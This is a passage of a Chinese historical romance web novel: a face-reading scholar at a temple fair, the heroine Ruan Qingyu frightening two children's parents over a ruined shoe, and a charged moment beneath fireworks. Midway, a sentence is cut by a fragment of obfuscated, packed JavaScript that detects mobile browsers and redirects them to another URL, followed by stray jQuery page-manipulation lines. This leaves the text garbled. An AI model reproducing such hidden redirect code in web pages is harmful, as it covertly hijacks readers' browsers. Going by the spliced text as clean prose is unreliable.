“这倒有些意思了,你怎么看出来的?”
“公子眼中神采飞扬,整个人气韵宏达,不难看出来。只是常言道,福兮祸之所倚,公子还需慎行,才可免去祸生于所成之事中。”
贺云晟凝了脸色,程系立刻呵斥道:“你这书生胡说什么!愿赌怎么还不服输呢,说这些晦气的话。”
贺云晟制止了他,“我这下属脾气爆,别往心里去,你倒有两分本事,听你口音是南方人,来宜州做什么?”
“路过此地,见庙会热闹,来逛逛。”
贺云晟让观局拿出一个银锭,自己递给那书生。
“不能让你白白相面一回儿。”
书生毫不扭捏,直接接过银锭。
“多谢公子,承蒙厚意,就再赠公子一句话。”他看看了阮青钰,“请公子借一步说话。”
程系警惕起来,贺云晟却不以为意,与那书生上前两步。
“那位姑娘,是公子的变数,公子务必留心,祸福相依,善恶相与,这变数是好是坏,还要看公子怎么做。”
贺云晟挑了挑眉,抬眼认真打量了一遍眼前人,“哦?细细说。”
若不是他查过阮青钰的底细,马上就会怀疑这人是阮青钰找来的托。便是此刻,他也不能毫无疑虑。
“天机不可泄露。”
书生微微笑着,说了一句算命摊子最常用的话。
贺云晟也笑了,没有追问什么。
他们和书生分别后,贺云晟与程系说了句话,队伍后面便有两人离开,悄悄跟随那书生去了。
贺云晟他信高人有相面预吉凶的本事,但这书生最后关于阮青钰的话,太具体了。
阮青钰不知道这些,但她也满是心事。
原因无他,因为她也许知道,刚才那美艳的素衣书生是谁了。
要不要和贺云晟说?她拿不准。
庙会热闹,孩童结队穿游,忽然有两个孩子窜出来追赶打闹,阮青钰正在走神,避之不及,被两个孩子撞个正着,一下踉跄要摔倒。
忽然她腰上多了一个强有力的支撑,贺云晟一手托住她,手掌转动化劲,抵消了阮青钰摔下去的动势,她才没有倒地。
阮青钰连忙道谢:“多谢公子。”
却听到那边小孩子在哭。原来是那两个孩子撞到人自己也摔倒地上,又怕被责怪,又疼又怕地哭了。
阮青钰忙上前将他们扶起来,轻轻拍拍他们身上的灰尘。?
“摔着哪儿了?”
小孩子的父母这时赶过来,他们看到了是自家孩子撞了阮青钰,又见阮青钰一行人衣着华贵,不似平常百姓,连忙道歉。
“我也没摔倒,没事的,孩子们没摔着吧。”
“没有没有。”
阮青钰笑着点点头,“既然孩子没事,那就赔一下我的鞋子吧。”
小孩子和父母都惊住了,本来见阮青钰这么好说话,以为相安无事,没想到竟是个笑面虎。
“这……”
阮青钰抬脚伸出鞋子,“我这鞋面可是提花绢穿银线的,现在被你家孩子踩了这一脚,都是泥,可不是毁了。”
“这……要赔多少钱?”
“看在孩子还小的份上,不算人工,只算你们料钱,就给二两银子吧。”
“啊?!”那对父母如遭雷击,大点的孩子四五岁的样子,小的那个也就两三岁,就算不知道二两银子意味着什么,看到父母的反应也知道自己闯了大祸,哭得更狠了。
贺云晟也惊了,他知道阮青钰出身商贾之家,没想到她会和孩子一般计较。
那对父母立刻跪下磕头,“夫人大人大量,求夫人减少些赔偿,这些钱,我们家真是拿不出,求夫人了。”
贺云晟看不下去,“行了,回去让观局给你置办几双更好的。”
观局也不齿阮青钰的作为。
阮青钰高兴地谢过贺云晟。
“既然我家公子发话了,就算了吧。”
那对夫妻立刻扯着孩子叩谢贺云晟。
“但我有一个条件。”阮青钰又说。
这街上人来人往,现在已经很多人围着看热闹了,阮青钰察觉到贺云晟不悦,快速蹲下和那两个孩子说:“我的条件是,你们两个以后不许顽皮,走路看人,不要在大路上打闹,今天你们撞到我,有幸遇到我家公子,不必赔偿,若是别人,定然不会放过你们。况且若是撞到马匹车辆呢,岂不是没命?”
她轻轻捏着两个孩子的小脸,“听、懂、了、吗?”
两个孩子虽然被吓哭了,但此刻阮青钰说话的样子并不可怕,相反,她漂亮温柔。孩子们感觉不到恶意,都点头如捣蒜。
阮青钰从荷包里拿出一把钱塞到他们手里,“去买糖吃吧,懂道理有规矩的孩子有奖励。”
说完便起身。
那对夫妻见状,忙推辞不敢收钱。阮青钰说:“拿着吧,我家公子最是慈心恤下的,不好叫你们白白跪一回,再不收,惹急了我,可还要叫你们赔钱的。”
夫妻二人这才收下,感激磕头:“多谢公子,多谢夫人。”
阮青钰抱歉地对贺云晟说,“我们走吧公子,我也没想到他们二话不说就下跪,给你添麻烦了。”
贺云晟让那对夫妻起身,带人离开了。
“既然知道添麻烦,下次就别做这样的事。”贺云晟冷脸。
阮青钰见贺云晟心生厌恶,赶紧贴上去解释,她要靠贺云晟生存的,不能让自己的形象太差。
“殿……公子,我不是真的要银子,我只是吓吓那两个调皮的孩子,让他们知道害怕知道规则,以后可以少闯祸。我是没想到他们的父母这么不禁吓,搞出这么惹眼的场面。”
“才几岁的孩子,何必这样吓他们,过两年自然懂事了,要你多事去教训。”
“公子出身尊贵非常,不会知道我们这样的平民百姓,从小就没有恣意的资本。今天他们撞到的若真是爱计较的人,是逃不出这一劫的。”
“这么说,你还是做善事了?”
“举手之劳,就当日行一善了。”阮青钰有些被夸赞后的不好意思。
贺云晟无奈笑了,谁夸她了。
其实阮青钰才不想多事,只是那个撞到她的孩子中较小的那一个穿了一双虎头鞋,那样式,正如上一世阮青钰为自己的孩子准备的鞋子,一瞬间牵动了她的心肠。她希望眼前的两个孩子能知畏惧而少灾祸,才多嘴了。
况且这双鞋是阮青钰最贵最好的鞋子,今日出门特意穿出来的,被毁了的确心疼,吓一吓熊孩子们,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17247773|190233||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
姑且算作扯平了。
观局在后面,只见阮青钰上赶着贴近贺云晟,不禁在心中感叹,真是烈郞怕缠女啊,想他们世子是多么清正的人,终究还是被美色所惑。
出发时,阮青钰让人悄悄搬了几个箱笼到阮家三奶奶的车上,世子和他看得清楚,但世子都不介意阮青钰往娘家倒腾东西,他也不好说什么。
那时他建议世子给阮青钰置办一些行头,是不想让阮青钰太跌份,丢了景王府的脸面,没想到世子会亲自带阮青钰去购置,东西没有经他的手,他就不好登记造册,阮青钰往娘家贴补了什么,也是没办法的事。
今天阮青钰更是连一双鞋面都要和小孩子计较,真是德行堪忧,只有一副好皮囊和厚脸皮,走了什么狗屎运,能得殿下青眼。观局再一次在心中感慨,白瞎了他家世子这样好的品貌。
忽而空中炸出烟花,人们都抬头看。
贺云晟一行人正好站在位置最好的横桥上,大家为了看烟花纷纷往桥上挤,很快阮青钰被挤得真的和贺云晟紧贴着了。
阮青钰被挤得左跌右倒,险些被踩在脚下,她下意识伸手揽住了贺云晟。
又一个硕大的烟花绽开,色彩夺目。
“公子你看,这个烟花是红色的啊!”
阮青钰没见过这样的景致,兴奋地招呼贺云晟看,一抬头正对上贺云晟的眼睛,他没有看烟花,而是在看她。
他眸色幽微,完全没了适才游戏的兴致,复杂得,让阮青钰一眼看不清真意。
对上这样的眼神,阮青钰收敛心神,才意识到自己正紧紧环抱贺云晟。
烟花的颜色映在他脸上,忽明忽暗,阮青钰终于察觉到,这样无间的距离,对他们来说,不合适。
她不该把贺云晟当做柱子的,她不好意思地道歉。平日里她不会这样没有分寸,只是他们刚一起赢了游戏,高兴而觉亲近,这里又满是热闹烟火气,让她有些忘了自己的本分。
“冒犯了。”
阮青钰讪讪松手。
贺云晟才将头抬起来。
在无人察觉的暗处,他将手握拳,仿佛这样就可以按住心的悸动。
阮青钰抱紧他的那一刻,发丝蹭过他的下巴,他甚至可以在嘈杂的人声中听到自己的砰砰心跳。
他或许自己都不曾意识到,阮青钰抬头看他时,他的眼中不只是疑问,不只是自持身份,还有隐隐期待。
她却只是笑着放手,一副纯然无辜的样子。
明明心在别人那里,偏要来撩拨他。
今天他刻意和阮青钰分开出发,庙会这么大,他不知道有多大机会遇到阮青钰,但看到她的那一刻,他心里是喜悦的,连自己都骗不了。在此之前,他自以为做得很好,将阮青钰当做一般的某个人。
他不喜欢超出掌控的事态,不喜欢情不自禁,可是,他也不喜欢自欺欺人。
他愈发烦躁,他是怎么了,明明他清楚阮青钰心有所属,对于他,若有情意,不过是虚情假意,不过是冲着自己的身份,她的伎俩也并不高明,没什么新鲜的招数。他早已经决定不动心神,却抵不过她一个刻意的相触。
待烟花燃尽,阮青钰还未尽兴,想去庙会深处看看。
贺云晟却没了任何兴致,他一言不发,折返船上。